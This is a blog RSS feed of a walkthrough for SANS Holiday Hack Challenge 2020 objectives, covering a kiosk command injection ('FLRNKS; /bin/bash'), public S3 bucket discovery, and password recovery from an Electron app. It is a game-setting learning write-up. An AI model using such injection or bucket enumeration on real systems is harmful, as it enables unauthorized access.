<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>SANS Holiday Hack Challenge 2020 | FLRNKS</title><link>https://flrnks.netlify.app/tutorials/kringlecon2020/</link><atom:link href="https://flrnks.netlify.app/tutorials/kringlecon2020/index.xml" rel="self" type="application/rss+xml"/><description>SANS Holiday Hack Challenge 2020</description><generator>Source Themes Academic (https://sourcethemes.com/academic/)</generator><language>en-us</language><copyright>© 2024</copyright><lastBuildDate>Tue, 22 Dec 2020 00:00:00 +0000</lastBuildDate><image><url>https://flrnks.netlify.app/tutorials/kringlecon2020/featured.png</url><title>SANS Holiday Hack Challenge 2020</title><link>https://flrnks.netlify.app/tutorials/kringlecon2020/</link></image><item><title>Uncover Santa's Gift List</title><link>https://flrnks.netlify.app/tutorials/kringlecon2020/objective1/</link><pubDate>Tue, 22 Dec 2020 00:00:00 +0100</pubDate><guid>https://flrnks.netlify.app/tutorials/kringlecon2020/objective1/</guid><description>&lt;p>&lt;img src="../images/obj1/starting-point.png" alt="Starting Point">&lt;/p>
&lt;p>After a long and snowy journey I&amp;rsquo;ve finally arrived to the north pole to attend KringleCon III! I talk to &lt;code>Jingle Ringford&lt;/code> to orientate myself:&lt;/p>
&lt;blockquote>
&lt;p>Welcome! Hop in the gondola to take a ride up the mountain to Exit 19: Santa&amp;rsquo;s castle!
Santa asked me to design the new badge, and he wanted it to look really cold - like it was frosty.
Click your badge (the snowflake in the center of your avatar) to read your objectives.
If you&amp;rsquo;d like to chat with the community, join us on
&lt;a href="https://discord.gg/Wbmx92rWW3" target="_blank" rel="noopener">Discord&lt;/a>!
We have specially appointed Kringle Koncierges as helpers; you can hit them up for help in the #general channel!
If you get a minute, check out Ed Skoudis&amp;rsquo;
&lt;a href="https://www.youtube.com/watch?v=8e0SZrbWFuU" target="_blank" rel="noopener">official intro to the con&lt;/a>!
You can&amp;rsquo;t wait to get to the KingleCon but first, your should check your badge which already has your first objective ready:&lt;/p>
&lt;/blockquote>
&lt;p>I see the big billboard on the top-left near the main road. Click
&lt;a href="https://2020.kringlecon.com/textures/billboard.png" target="_blank" rel="noopener">HERE&lt;/a> to open it in a new window so that you can download it for closer inspection.&lt;/p>
&lt;p>&lt;img src="../images/obj1/objective1.png" alt="Objective1">&lt;/p>
&lt;p>Some hints from the badge to get started with the image manipulation:&lt;/p>
&lt;ul>
&lt;li>There are
&lt;a href="https://www.photopea.com/" target="_blank" rel="noopener">tools&lt;/a> out there that could help Filter the Distortion that is this Twirl.&lt;/li>
&lt;li>Make sure you Lasso the correct twirly area.&lt;/li>
&lt;/ul>
&lt;p>It seems that to recover Santa&amp;rsquo;s gift to
&lt;a href="https://twitter.com/joswr1ght?lang=en" target="_blank" rel="noopener">Josh Wright&lt;/a> I will need to do a bit of image manipulation to un-twirl the photo&amp;rsquo;s section which contains the list.&lt;/p>
&lt;p>Luckily they shared a link to this online tool which can do this quite easily.&lt;/p>
&lt;p>After fiddling around with it for a few minutes, I managed to un-twirl it enough to read it: &lt;code>proxmark&lt;/code>&lt;/p>
&lt;p>&lt;img src="../images/obj1/proxmark.png" alt="Proxmark">&lt;/p>
&lt;p>
&lt;a href="https://proxmark.com/" target="_blank" rel="noopener">Click&lt;/a> to learn more about what &lt;code>proxmark&lt;/code> is, it may be useful later on &amp;hellip;&lt;/p>
&lt;p>On to the next objective! 😎&lt;/p></description></item><item><title>Investigate S3 Bucket</title><link>https://flrnks.netlify.app/tutorials/kringlecon2020/objective2/</link><pubDate>Tue, 22 Dec 2020 00:00:00 +0100</pubDate><guid>https://flrnks.netlify.app/tutorials/kringlecon2020/objective2/</guid><description>&lt;p>&lt;img src="../images/obj2/objective2.png" alt="Objective2">&lt;/p>
&lt;p>After recovering Santa&amp;rsquo;s gift list, I take the snow lift and arrive to the Kringle Castle&amp;rsquo;s &lt;strong>Front Lawn&lt;/strong>. Here, I find a few characters here, including Santa himself, who greets me right away:&lt;/p>
&lt;p>&lt;img src="../images/obj2/front-lawn-santa.png" alt="Front Lawn Greeting">&lt;/p>
&lt;blockquote>
&lt;p>Hello and welcome to the North Pole!
We’re super excited about this year’s KringleCon 3: French Hens.
My elves have been working all year to upgrade the castle.
It was a HUGE construction project, and we’ve nearly completed it.
Please pardon the remaining construction dust around the castle and enjoy yourselves!&lt;/p>
&lt;/blockquote>
&lt;p>The 2nd objective in the badge instructs me to investigate some S3 bucket used at the North Pole. For hints, I talk with &lt;code>Shinny Upatree&lt;/code> in the bottom right corner. But before, he asks for a favor with the Kringle Kiosk terminal:&lt;/p>
&lt;p>&lt;img src="../images/obj2/shinny-upatree.png" alt="Shinny Upatree">&lt;/p>
&lt;blockquote>
&lt;p>Hiya hiya - I&amp;rsquo;m Shinny Upatree!
Check out this cool KringleCon kiosk!
You can get a map of the castle, learn about where the elves are, and get your own badge printed right on-screen!
Be careful with that last one though. I heard someone say it&amp;rsquo;s &amp;ldquo;ingestible.&amp;rdquo; Or something&amp;hellip;
Do you think you could check and see if there is an issue?&lt;/p>
&lt;/blockquote>
&lt;p>The &lt;strong>Kringle Kiosk&lt;/strong> challenge involves escaping from the application via a
&lt;a href="https://owasp.org/www-community/attacks/Command_Injection" target="_blank" rel="noopener">Command Injection&lt;/a>:&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="ln">1&lt;/span>Welcome to our castle, we&lt;span class="s1">&amp;#39;re so glad to have you with us!
&lt;/span>&lt;span class="ln">2&lt;/span>&lt;span class="s1">Come and browse the kiosk; though our app&amp;#39;&lt;/span>s a bit suspicious.
&lt;span class="ln">3&lt;/span>Poke around, try running bash, please try to come discover,
&lt;span class="ln">4&lt;/span>Need our devs who made our app pull/patch to &lt;span class="nb">help&lt;/span> recover?
&lt;span class="ln">5&lt;/span>
&lt;span class="hl">&lt;span class="ln">6&lt;/span>Escape the menu by launching /bin/bash &lt;span class="s">&amp;lt;&amp;lt; THE T&lt;/span>ASK!
&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Once I open the Kiosk and hit enter, I see a list of menu items to choose from:&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="ln"> 1&lt;/span>~~~~~~~~~~~~~~~~~~~~~~~~~~~~
&lt;span class="ln"> 2&lt;/span> Welcome to the North Pole!
&lt;span class="ln"> 3&lt;/span>~~~~~~~~~~~~~~~~~~~~~~~~~~~~
&lt;span class="ln"> 4&lt;/span>1. Map
&lt;span class="ln"> 5&lt;/span>2. Code of Conduct and Terms of Use
&lt;span class="ln"> 6&lt;/span>3. Directory
&lt;span class="hl">&lt;span class="ln"> 7&lt;/span>4. Print Name Badge
&lt;/span>&lt;span class="ln"> 8&lt;/span>5. Exit
&lt;span class="ln"> 9&lt;/span>
&lt;span class="ln">10&lt;/span>Please &lt;span class="k">select&lt;/span> an item from the menu by entering a single number.
&lt;span class="ln">11&lt;/span>Anything &lt;span class="k">else&lt;/span> might have ... unintended consequences.
&lt;span class="ln">12&lt;/span>Enter choice &lt;span class="o">[&lt;/span>&lt;span class="m">1&lt;/span> - 5&lt;span class="o">]&lt;/span>
&lt;/code>&lt;/pre>&lt;/div>&lt;p>Keeping in mind Shinny&amp;rsquo;s advice about &lt;strong>option 4&lt;/strong> that&amp;rsquo;s used to print badges, I chose that option. This may be the one that has the &lt;strong>Command Injection&lt;/strong> flaw. When it&amp;rsquo;s selected it even has a warning about special characters. Let&amp;rsquo;s see how it handles my username + some special characters: &lt;code>FLRNKS; /bin/bash&lt;/code>&lt;/p>
&lt;p>&lt;img src="../images/obj2/hello-from-bash.png" alt="Command Injection in Kringle Kiosk">&lt;/p>
&lt;p>Now that wasn&amp;rsquo;t too hard! I then talk to Shinny to get those hints he promised:&lt;/p>
&lt;blockquote>
&lt;p>Golly - wow! You sure found the flaw for us!
Say, we&amp;rsquo;ve been having an issue with an Amazon S3 bucket.
Do you think you could help find Santa&amp;rsquo;s package file?
Jeepers, it seems there&amp;rsquo;s always a leaky bucket in the news. You&amp;rsquo;d think we could find our own files!
Digininja has a great guide, if you&amp;rsquo;re new to S3 searching.
He even released a tool for the task - what a guy!
The package wrapper Santa used is reversible, but it may take you some trying.
Good luck, and thanks for pitching in!&lt;/p>
&lt;/blockquote>
&lt;p>Some hints also from the badge:&lt;/p>
&lt;ul>
&lt;li>It seems there&amp;rsquo;s a new story every week about data exposed in unprotected
&lt;a href="https://www.computerweekly.com/news/252491842/Leaky-AWS-S3-bucket-once-again-at-centre-of-data-breach" target="_blank" rel="noopener">AWS S3 buckets&lt;/a>&lt;/li>
&lt;li>Find Santa&amp;rsquo;s package file in S3, see Josh Wright&amp;rsquo;s
&lt;a href="https://www.youtube.com/watch?v=t4UzXx5JHk0" target="_blank" rel="noopener">talk&lt;/a> for tips&lt;/li>
&lt;li>Robin Wood wrote up a
&lt;a href="https://digi.ninja/blog/whats_in_amazons_buckets.php" target="_blank" rel="noopener">guide&lt;/a> about finding these open S3 buckets&lt;/li>
&lt;li>He even wrote a
&lt;a href="https://digi.ninja/projects/bucket_finder.php" target="_blank" rel="noopener">tool&lt;/a> to search for unprotected buckets&lt;/li>
&lt;li>Santa&amp;rsquo;s Wrapper3000 is pretty buggy. It uses several compression tools, binary to ASCII conversion, and other tools to wrap packages.&lt;/li>
&lt;/ul>
&lt;p>To get started I click on the terminal to the right side of Shinny, that brings up a new terminal CLI:&lt;/p>
&lt;p>&lt;img src="../images/obj2/wrapper.png" alt="Wrapper3000 Welcome">&lt;/p>
&lt;p>On the terminal&amp;rsquo;s file system there is a folder called &lt;code>bucket_finder&lt;/code> that contains a Ruby Script and a &lt;strong>wordlist&lt;/strong>. The script can take this wordlist and iterate over each line and test if a S3 bucket with such a name exists and whether it&amp;rsquo;s public. With the &lt;code>--download&lt;/code> flag, it can also download all available objects if a public bucket is found.&lt;/p>
&lt;p>The &lt;strong>wordlist&lt;/strong> initially contains only 3 words and none of them map to the bucket I need. Part of the challenge was to come up with new entries in the &lt;strong>wordlist&lt;/strong> in order to find the bucket. While thinking of possibilities, I remembered the Terminal MOTD which had a brightly emphasized word &lt;code>Wrapper3000&lt;/code>, so I added two variants of it to the list. First I added it as it was, then with lowercase &lt;code>W&lt;/code>, remembering that S3 bucket names are case-sensitive. Lo and behold, the lower-case version was the name of the bucket which had the &lt;code>package&lt;/code> file I needed:&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="ln">1&lt;/span>elf@6baea2e4fddd:~/bucket_finder$ cat wordlist
&lt;span class="ln">2&lt;/span>...
&lt;span class="ln">3&lt;/span>Wrapper3000
&lt;span class="ln">4&lt;/span>wrapper3000
&lt;span class="ln">5&lt;/span>elf@6baea2e4fddd:~/bucket_finder$ ./bucket_finder.rb wordlist
&lt;span class="ln">6&lt;/span>...
&lt;span class="ln">7&lt;/span>Bucket does not exist: Wrapper3000
&lt;span class="ln">8&lt;/span>Bucket Found: wrapper3000 &lt;span class="o">(&lt;/span> http://s3.amazonaws.com/wrapper3000 &lt;span class="o">)&lt;/span>
&lt;span class="hl">&lt;span class="ln">9&lt;/span> &amp;lt;Public&amp;gt; http://s3.amazonaws.com/wrapper3000/package &amp;lt;&amp;lt; THE FILE WE NEED!
&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Running the Ruby script again with &lt;code>--download&lt;/code> flag cloned the bucket to a subdirectory called &lt;strong>wrapper3000&lt;/strong>. Next I navigated to this directory and started inspecting the contents of &lt;code>package&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="ln">1&lt;/span>elf@6baea2e4fddd:~/bucket_finder/wrapper3000$ file package
&lt;span class="ln">2&lt;/span>package: ASCII text, with very long lines
&lt;span class="ln">3&lt;/span>elf@6baea2e4fddd:~/bucket_finder/wrapper3000$ cat package
&lt;span class="hl">&lt;span class="ln">4&lt;/span>UEsDBAoAAAAAAIAwhFEbRT8anwEAAJ8BAAAcABwAcGFja2FnZS50eHQuWi54ei54eGQudGFyLmJ6MlVUCQADoBfKX6AXyl91eAsAAQT2AQAABBQAAABCWmg5MUFZJlNZ2ktivwABHv+Q3hASgGSn//AvBxDwf/xe0gQAAAgwAVmkYRTKe1PVM9U0ekMg2poAAAGgPUPUGqehhCMSgaBoAD1NNAAAAyEmJpR5QGg0bSPU/VA0eo9IaHqBkxw2YZK2NUASOegDIzwMXMHBCFACgIEvQ2Jrg8V50tDjh61Pt3Q8CmgpFFunc1Ipui+SqsYB04M/gWKKc0Vs2DXkzeJmiktINqjo3JjKAA4dLgLtPN15oADLe80tnfLGXhIWaJMiEeSX992uxodRJ6EAzIFzqSbWtnNqCTEDML9AK7HHSzyyBYKwCFBVJh17T636a6YgyjX0eE0IsCbjcBkRPgkKz6q0okb1sWicMaky2Mgsqw2nUm5ayPHUeIktnBIvkiUWxYEiRs5nFOM8MTk8SitV7lcxOKst2QedSxZ851ceDQexsLsJ3C89Z/gQ6Xn6KBKqFsKyTkaqO+1FgmImtHKoJkMctd2B9JkcwvMr+hWIEcIQjAZGhSKYNPxHJFqJ3t32Vjgn/OGdQJiIHv4u5IpwoSG0lsV+UEsBAh4DCgAAAAAAgDCEURtFPxqfAQAAnwEAABwAGAAAAAAAAAAAAKSBAAAAAHBhY2thZ2UudHh0LloueHoueHhkLnRhci5iejJVVAUAA6AXyl91eAsAAQT2AQAABBQAAABQSwUGAAAAAAEAAQBiAAAA9QEAAAAA
&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Right away it looked like it was base64 encoded text, so I ran it through &lt;code>base64 -d &lt;/code>. Then I checked what kind of file was recovered, and it was in fact a compressed ZIP file:&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="ln">1&lt;/span>elf@6baea2e4fddd:~/bucket_finder/wrapper3000$ cat package &lt;span class="p">|&lt;/span> base64 -d &amp;gt; package-decoded
&lt;span class="ln">2&lt;/span>elf@6baea2e4fddd:~/bucket_finder/wrapper3000$ file package-decoded
&lt;span class="hl">&lt;span class="ln">3&lt;/span>package-decoded: Zip archive data, at least v1.0 to extract
&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Next I used &lt;code>unzip&lt;/code> to recover the file that was hiding in this ZIP. The resulting file had a rather long list of extensions which suggested there was more unwrapping to do:&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="ln">1&lt;/span>elf@6baea2e4fddd:~/bucket_finder/wrapper3000$ unzip package-decoded
&lt;span class="ln">2&lt;/span>Archive: package-decoded extracting: package.txt.Z.xz.xxd.tar.bz2
&lt;span class="ln">3&lt;/span>elf@6baea2e4fddd:~/bucket_finder/wrapper3000$ file package.txt.Z.xz.xxd.tar.bz2
&lt;span class="hl">&lt;span class="ln">4&lt;/span>package.txt.Z.xz.xxd.tar.bz2: bzip2 compressed data, block &lt;span class="nv">size&lt;/span> &lt;span class="o">=&lt;/span> 900k
&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Next, I started peeling back each layer of encoding/compression in reverse order to finally reveal the solution of this Objective:&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="ln">1&lt;/span>elf@6baea2e4fddd:~/bucket_finder/wrapper3000$ bunzip2 package.txt.Z.xz.xxd.tar.bz2
&lt;span class="ln">2&lt;/span>elf@6baea2e4fddd:~/bucket_finder/wrapper3000$ tar xopf package.txt.Z.xz.xxd.tar
&lt;span class="ln">3&lt;/span>elf@6baea2e4fddd:~/bucket_finder/wrapper3000$ xxd -r package.txt.Z.xz.xxd &amp;gt; package.txt.Z.xz
&lt;span class="ln">4&lt;/span>elf@6baea2e4fddd:~/bucket_finder/wrapper3000$ unxz package.txt.Z.xz
&lt;span class="ln">5&lt;/span>elf@6baea2e4fddd:~/bucket_finder/wrapper3000$ uncompress package.txt.Z
&lt;span class="ln">6&lt;/span>elf@6baea2e4fddd:~/bucket_finder/wrapper3000$ cat package.txt
&lt;span class="hl">&lt;span class="ln">7&lt;/span>North Pole: The Frostiest Place on Earth
&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Brrrrrr &amp;hellip; 🥶 On to the next objective!&lt;/p></description></item><item><title>Point-of-Sale Password Recovery</title><link>https://flrnks.netlify.app/tutorials/kringlecon2020/objective3/</link><pubDate>Tue, 22 Dec 2020 00:00:00 +0100</pubDate><guid>https://flrnks.netlify.app/tutorials/kringlecon2020/objective3/</guid><description>&lt;p>&lt;img src="../images/obj3/objective3.png" alt="Objective3">&lt;/p>
&lt;p>After solving the S3 bucket challenge, this new objective leads me to the courtyard where I meet up with &lt;code>Sugarplum Mary&lt;/code> to help her recover a lost password for the PoS terminal:&lt;/p>
&lt;p>&lt;img src="../images/obj3/sugarplum-mary.png" alt="Sugarplum Mary">&lt;/p>
&lt;blockquote>
&lt;p>Sugarplum Mary? That&amp;rsquo;s me!
I was just playing with this here terminal and learning some Linux!
It&amp;rsquo;s a great intro to the Bash terminal.
If you get stuck at any point, type hintme to get a nudge!
Can you make it to the end?&lt;/p>
&lt;/blockquote>
&lt;p>This terminal was like a quick refresher/lesson to hone your Linux Terminal skillz. I used the below list of commands to solve it:&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="ln"> 1&lt;/span>ls
&lt;span class="ln"> 2&lt;/span>cat munchkin_19315479765589239
&lt;span class="ln"> 3&lt;/span>rm munchkin_19315479765589239
&lt;span class="ln"> 4&lt;/span>&lt;span class="nb">pwd&lt;/span>
&lt;span class="ln"> 5&lt;/span>ls -la &lt;span class="p">|&lt;/span> grep munchkin
&lt;span class="ln"> 6&lt;/span>cat .bash_history &lt;span class="p">|&lt;/span> grep munchkin
&lt;span class="ln"> 7&lt;/span>env &lt;span class="p">|&lt;/span> grep munchkin
&lt;span class="ln"> 8&lt;/span>&lt;span class="nb">cd&lt;/span> workshop
&lt;span class="ln"> 9&lt;/span>find . -type f -name &lt;span class="s2">&amp;#34;toolbox*.txt&amp;#34;&lt;/span> &lt;span class="p">|&lt;/span> xargs grep -i munchkin
&lt;span class="ln">10&lt;/span>chmod +x lollipop_engine
&lt;span class="ln">11&lt;/span>./lollipop_engine
&lt;span class="ln">12&lt;/span>&lt;span class="nb">cd&lt;/span> electrical/
&lt;span class="ln">13&lt;/span>mv blown_fuse0 fuse0
&lt;span class="ln">14&lt;/span>ln -s fuse0 fuse1
&lt;span class="ln">15&lt;/span>cp fuse1 fuse2
&lt;span class="ln">16&lt;/span>&lt;span class="nb">echo&lt;/span> &lt;span class="s2">&amp;#34;MUNCHKIN_REPELLENT&amp;#34;&lt;/span> &amp;gt;&amp;gt; fuse2
&lt;span class="ln">17&lt;/span>&lt;span class="nb">cd&lt;/span> /opt/munchkin_den/
&lt;span class="ln">18&lt;/span>find .
&lt;span class="ln">19&lt;/span>find . -user munchkin
&lt;span class="ln">20&lt;/span>find . -size +108k -size -110k
&lt;span class="ln">21&lt;/span>ps a
&lt;span class="ln">22&lt;/span>netstat -l
&lt;span class="ln">23&lt;/span>curl http://0.0.0.0:54321
&lt;span class="ln">24&lt;/span>&lt;span class="nb">kill&lt;/span> -s &lt;span class="m">9&lt;/span> &lt;span class="m">11555&lt;/span>
&lt;/code>&lt;/pre>&lt;/div>&lt;p>The interactive nature of the whole terminal reminded me of the Mini NetWars challenges from earlier this year, which was a nice feeling! Talking to Mary again revealed the below hints about them main objective:&lt;/p>
&lt;blockquote>
&lt;p>You did it - great! Maybe you can help me configure my postfix mail server on Gentoo!
Just kidding!
Hey, wouldja&amp;rsquo; mind helping me get into my point-of-sale terminal?
Just kidding!
It&amp;rsquo;s down, and we kinda&amp;rsquo; need it running..
Problem is: it is asking for a password. I never set one!
Can you help me figure out what it is so I can get set up?
Shinny says this might be an Electron application.
I hear there&amp;rsquo;s a way to extract an ASAR file from the binary, but I haven&amp;rsquo;t looked into it yet.&lt;/p>
&lt;/blockquote>
&lt;p>&amp;hellip; and the hints from the badge:&lt;/p>
&lt;ul>
&lt;li>It&amp;rsquo;s possible to extract the source code from an
&lt;a href="https://www.electronjs.org/" target="_blank" rel="noopener">Electron&lt;/a> app.&lt;/li>
&lt;li>There are
&lt;a href="https://www.npmjs.com/package/asar" target="_blank" rel="noopener">tools&lt;/a> and
&lt;a href="https://medium.com/how-to-electron/how-to-get-source-code-of-any-electron-application-cbb5c7726c37" target="_blank" rel="noopener">guides&lt;/a> explaining how to extract ASAR from Electron apps.&lt;/li>
&lt;li>the PoS firmware is available to download
&lt;a href="https://download.holidayhackchallenge.com/2020/santa-shop/santa-shop.exe" target="_blank" rel="noopener">HERE&lt;/a> as a 47MB .exe file&lt;/li>
&lt;/ul>
&lt;p>To get started I spun up a Windows VM on my MacBook and downloaded the exe within this machine. I also installed
&lt;a href="https://www.7-zip.org/" target="_blank" rel="noopener">7zip&lt;/a> to help with unpacking the EXE file with the goal of recovering the &lt;strong>asar&lt;/strong> file which contains the source code for the app. After opening the exe in 7zip, I found the &lt;code>app.asar&lt;/code> in the &lt;strong>resources&lt;/strong> subdirectory, which I extracted to my working folder:&lt;/p>
&lt;p>&lt;img src="../images/obj3/asar.png" alt="asar in resources">&lt;/p>
&lt;p>Next, I used the Windows Command Prompt, installed NPM and the &lt;code>asar&lt;/code> packaging tool to help unpack the recovered &lt;strong>app.asar&lt;/strong> file:&lt;/p>
&lt;p>&lt;img src="../images/obj3/asar-extract.png" alt="recover soruce code">&lt;/p>
&lt;p>This operation recovered several files, reading the README pointed me directly to &lt;code>main.js&lt;/code> which had the password right at the top of the file:&lt;/p>
&lt;p>&lt;img src="../images/obj3/santapass.png" alt="main.js">&lt;/p>
&lt;p>On to the next one! 😎&lt;/p></description></item><item><title>Operate the Santavator</title><link>https://flrnks.netlify.app/tutorials/kringlecon2020/objective4/</link><pubDate>Thu, 24 Dec 2020 00:00:00 +0100</pubDate><guid>https://flrnks.netlify.app/tutorials/kringlecon2020/objective4/</guid><description>&lt;p>&lt;img src="../images/obj4/objective4.png" alt="Objective4">&lt;/p>
&lt;p>This objective leads me back to the Kringle Castle&amp;rsquo;s &lt;strong>Front Lawn&lt;/strong> to talk with &lt;code>Pepper Minstix&lt;/code> for hints to the operation of the Santavator, as long as I help with his terminal before:&lt;/p>
&lt;p>&lt;img src="../images/obj4/pepper-minstix.png" alt="Pepper Minstix">&lt;/p>
&lt;blockquote>
&lt;p>Howdy - Pepper Minstix here!
I&amp;rsquo;ve been playing with tmux lately, and golly it&amp;rsquo;s useful.
Problem is: I somehow became detached from my session.
Do you think you could get me back to where I was, admiring a beautiful bird?
If you find it handy, there&amp;rsquo;s a tmux cheat sheet you can use as a reference.
I hope you can help!&lt;/p>
&lt;/blockquote>
&lt;p>I think this was the simplest one so far. Reading up on
&lt;a href="https://tmuxcheatsheet.com/" target="_blank" rel="noopener">TMUX&lt;/a> I found a way to list all sessions by issuing &lt;code>tmux ls&lt;/code>, which revealed that there was one session created recently:&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="ln">1&lt;/span>elf@6da9144bb25b:~$ tmux ls
&lt;span class="hl">&lt;span class="ln">2&lt;/span>0: &lt;span class="m">1&lt;/span> windows &lt;span class="o">(&lt;/span>created Sun Dec &lt;span class="m">27&lt;/span> 10:28:11 2020&lt;span class="o">)&lt;/span> &lt;span class="o">[&lt;/span>80x24&lt;span class="o">]&lt;/span>
&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Next I tried &lt;code>tmux attach&lt;/code> which revealed the colorful birdie:&lt;/p>
&lt;p>&lt;img src="../images/obj4/birdie.png" alt="TMUX Birdie">&lt;/p>
&lt;p>Talking again with &lt;code>Pepper Minstix&lt;/code> rewarded me with the below hints for the main objective:&lt;/p>
&lt;blockquote>
&lt;p>You found her! Thanks so much for getting her back!
Hey, maybe I can help YOU out!
There&amp;rsquo;s a Santavator that moves visitors from floor to floor, but it&amp;rsquo;s a bit wonky.
You&amp;rsquo;ll need a key and other odd objects. Try talking to Sparkle Redberry about the key.
For the odd objects, maybe just wander around the castle and see what you find on the floor.
Once you have a few, try using them to split, redirect, and color the Super Santavator Sparkle Stream (S4).&lt;/p>
&lt;/blockquote>
&lt;p>Next, I enter the Kringle Castle through the main entrance to talk with &lt;code>Sparkle Redberry&lt;/code> about the Santavator:&lt;/p>
&lt;p>&lt;img src="../images/obj4/sparkle-redberry.png" alt="Sparkle Redberry">&lt;/p>
&lt;blockquote>
&lt;p>Hey hey, Sparkle Redberry here!
The Santavator is on the fritz. Something with the wiring is grinchy, but maybe you can rig something up?
Here&amp;rsquo;s the key! Good luck!
On another note, I heard Santa say that he was thinking of canceling KringleCon this year!
At first, I thought it was a joke, but he seemed serious. I’m glad he changed his mind.
Have you had a chance to look at the Santavator yet?
With that key, you can look under the panel and see the Super Santavator Sparkle Stream (S4).
To get to different floors, you&amp;rsquo;ll need to power the various colored receivers.
&amp;hellip; There MAY be a way to bypass the S4 stream.&lt;/p>
&lt;/blockquote>
&lt;p>There&amp;rsquo;s also one hint in the badge for the main objective:&lt;/p>
&lt;ul>
&lt;li>It&amp;rsquo;s really more art than science. The goal is to put the right colored light into the receivers on the left and top of the panel.&lt;/li>
&lt;/ul>
&lt;p>Next I look around the castle to find the needed objects that will help me fix the wonky Santavator. Specifically I need to recover some colorful light bulbs, and a Hex Nut that will help steer and paint the electrons to correct color:&lt;/p>
&lt;p>&lt;img src="../images/obj4/santavator-init.png" alt="santavator-quick-fix">&lt;/p>
&lt;p>One of the light bulbs cannot be found until reaching the &lt;strong>Speaker Unprep Room&lt;/strong> on the 2nd Floor. It&amp;rsquo;s not possible to get to this floor until I tweak the Santavator to take me there. Luckily the green bulb and the Hex Nut are easy to find and are enough to complete this objective. Once the green electrons are flying into the green tunnel in sufficient number I could close the lid and press the button to the 2nd floor:&lt;/p>
&lt;p>&lt;img src="../images/obj4/santavator-2nd-floor.png" alt="Second Floor">&lt;/p>
&lt;p>Which also completes this objective.&lt;/p>
&lt;p>On to the next one! 😎&lt;/p></description></item><item><title>Open HID Lock</title><link>https://flrnks.netlify.app/tutorials/kringlecon2020/objective5/</link><pubDate>Thu, 24 Dec 2020 00:00:00 +0100</pubDate><guid>https://flrnks.netlify.app/tutorials/kringlecon2020/objective5/</guid><description>&lt;p>&lt;img src="../images/obj5/objective5.png" alt="Objective5">&lt;/p>
&lt;p>Once I figured out how to operate the Santavator, I went up to the 2nd floor where I find several rooms hosting the virtual KringleCon Talks as well as &lt;code>Bushy Evergreen&lt;/code>. He&amp;rsquo;s supposed to give hints for solving the main objective, but first he desperately needs my help getting into the Speaker Unpreparedness Room:&lt;/p>
&lt;p>&lt;img src="../images/obj5/bushy-evergreen.png" alt="Bushy Evergreen">&lt;/p>
&lt;blockquote>
&lt;p>Ohai! Bushy Evergreen, just trying to get this door open.
It&amp;rsquo;s running some Rust code written by Alabaster Snowball.
I&amp;rsquo;m pretty sure the password I need for ./door is right in the executable itself.
Isn&amp;rsquo;t there a way to view the human-readable strings in a binary file?&lt;/p>
&lt;/blockquote>
&lt;p>Opening the door was quite easy with his tip on the use of the &lt;code>strings&lt;/code> utility on the main binary executable:&lt;/p>
&lt;p>&lt;img src="../images/obj5/door-unlock.png" alt="Door Unlock Terminal Challenge">&lt;/p>
&lt;p>After the door was finally open, Bushy asks if I would like to help some more by turning on the lights in the room. Somehow this is not as trivial as it sounds:&lt;/p>
&lt;blockquote>
&lt;p>That&amp;rsquo;s it! What a great password&amp;hellip;
Hey, you want to help me figure out the light switch too? Those come in handy sometimes.
The password we need is in the lights.conf file, but it seems to be encrypted.
There&amp;rsquo;s another instance of the program and configuration in ~/lab/ you can play around with.
What if we set the user name to an encrypted value?&lt;/p>
&lt;/blockquote>
&lt;p>Paying closer attention to the last sentence, the solution was quite straight-forward:&lt;/p>
&lt;p>&lt;img src="../images/obj5/lights-on.png" alt="Turn On Lights Sub-Challenge">&lt;/p>
&lt;p>Finally, he asks for help with the vending machine so speakers can get their snacks and beverages:&lt;/p>
&lt;blockquote>
&lt;p>Wow - that worked? I mean, it worked! Hooray for opportunistic decryption, I guess!
So hey, if you want, there&amp;rsquo;s one more challenge.
You see, there&amp;rsquo;s a vending machine in there that the speakers like to use sometimes.
Play around with ./vending_machines in the lab folder.
You know what might be worth trying? Delete or rename the config file and run it.
Then you could set the password yourself to AAAAAAAA or BBBBBBBB.
If the encryption is simple code book or rotation ciphers, you&amp;rsquo;ll be able to roll back the original password.&lt;/p>
&lt;/blockquote>
&lt;p>Solving this one required some more craftiness, but brute-forcing the PW was not that difficult:&lt;/p>
&lt;p>&lt;img src="../images/obj5/vending-machine.png" alt="Vending Machine Sub-Challenge">&lt;/p>
&lt;blockquote>
&lt;p>Your lookup table worked - great job! That&amp;rsquo;s one way to defeat a polyalphabetic cipher!
Good luck navigating the rest of the castle.&lt;/p>
&lt;/blockquote>
&lt;p>At long last, below are the various hints from Bushy for solving these challenges:&lt;/p>
&lt;blockquote>
&lt;p>Santa asked me to ask you to evaluate the security of our new HID lock.
If ever you find yourself in posession of a Proxmark3, click it in your badge to interact with it.
It&amp;rsquo;s a slick device that can read others&amp;rsquo; badges!
Oh, did I mention that the Proxmark can simulate badges? Cool, huh?
There are lots of references online to help.
In fact, there&amp;rsquo;s a talk going on right now!
So hey, if you want, there&amp;rsquo;s one more challenge.
And that Proxmark thing? Some people scan other people&amp;rsquo;s badges and try those codes at locked doors.
